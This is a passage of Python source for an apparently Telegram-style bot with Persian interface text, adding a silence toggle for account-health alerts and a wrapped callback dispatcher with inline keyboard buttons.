                "اکانت": f"#{account_id}",
                "پلتفرم": _trx290_platform_label(h.get("platform"), "fa"),
                "وضعیت": f"{_health_emoji(h.get('status'))} {h.get('status')}",
                "نرخ موفقیت": f"{h.get('rate', 0)}٪",
                "خطاهای متوالی": h.get("consecutive_fails", 0),
            },
            "برای قطع این هشدارها دکمه سایلنت را بزن.",
        )
        _trx290_create_task(_bot().send(
            uid,
            text,
            reply_markup=_trx290_health_alert_keyboard(uid),
        ))
    except Exception as exc:
        _log_warn(f"[TRX290][health] alert wrapper: {_mask(str(exc))}")
        if callable(_TRX290_ORIG_HEALTH_ALERT):
            try:
                _TRX290_ORIG_HEALTH_ALERT(uid, account_id, h)
            except Exception:
                pass


try:
    if callable(_TRX290_ORIG_HEALTH_ALERT):
        _patch1._health_alert = _trx290_health_alert_with_silent
except Exception as exc:
    _log_warn(f"[TRX290][health] wrapper install: {_mask(str(exc))}")


# ---------- Final callback layer for mute/unmute ----------
_TRX290_V7_DISPATCH_BASE = getattr(trx, "dispatch_cb", None)


async def _trx290_v7_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    try:
        if data_s.startswith(TRX290_HEALTH_SILENT_PREFIX):
            try:
                target_uid = int(data_s.split(":", 1)[1])
            except Exception:
                target_uid = int(uid)
            if target_uid != int(uid):
                return await _trx290_safe_edit(
                    chat_id, msg_id,
                    "❌ این دکمه برای کاربر دیگری است.",
                    trx.ai_advanced_menu(lang, uid),
                )
            enabled = not _trx290_health_is_silent(uid)
            _trx290_health_set_silent(uid, enabled)
            state_text = "🔇 هشدارهای اکانت بی‌صدا شد." if enabled else "🔔 هشدارهای اکانت دوباره فعال شد."
            kb = _trx290_IKB([
                [("🔔 فعال‌کردن هشدارها", f"{TRX290_HEALTH_SILENT_PREFIX}{int(uid)}", "success")]
                if enabled else
                [("🔇 سایلنت هشدارها", f"{TRX290_HEALTH_SILENT_PREFIX}{int(uid)}", "danger")],
                [("📊 وضعیت اکانت‌ها", "user.health.show", "primary")],
                [("🏠 خانه", "ai", "primary")],
            ])
            return await _trx290_safe_edit(chat_id, msg_id, state_text, kb)
    except Exception as exc:
        _log_err(f"[TRX290][health] mute callback: {_mask(str(exc))}")

    if callable(_TRX290_V7_DISPATCH_BASE):
        return await _TRX290_V7_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, data_s)
    return None


try:
    trx.dispatch_cb = _trx290_v7_dispatch
    _log_info("[TRX290] V7 startup/main-path + account-health-silent repair installed")
except Exception as exc:
    _log_warn(f"[TRX290][v7] dispatch install: {_mask(str(exc))}")


# ── اجرای پایانی ──
if __name__ == "__main__":
    _trx290_run()

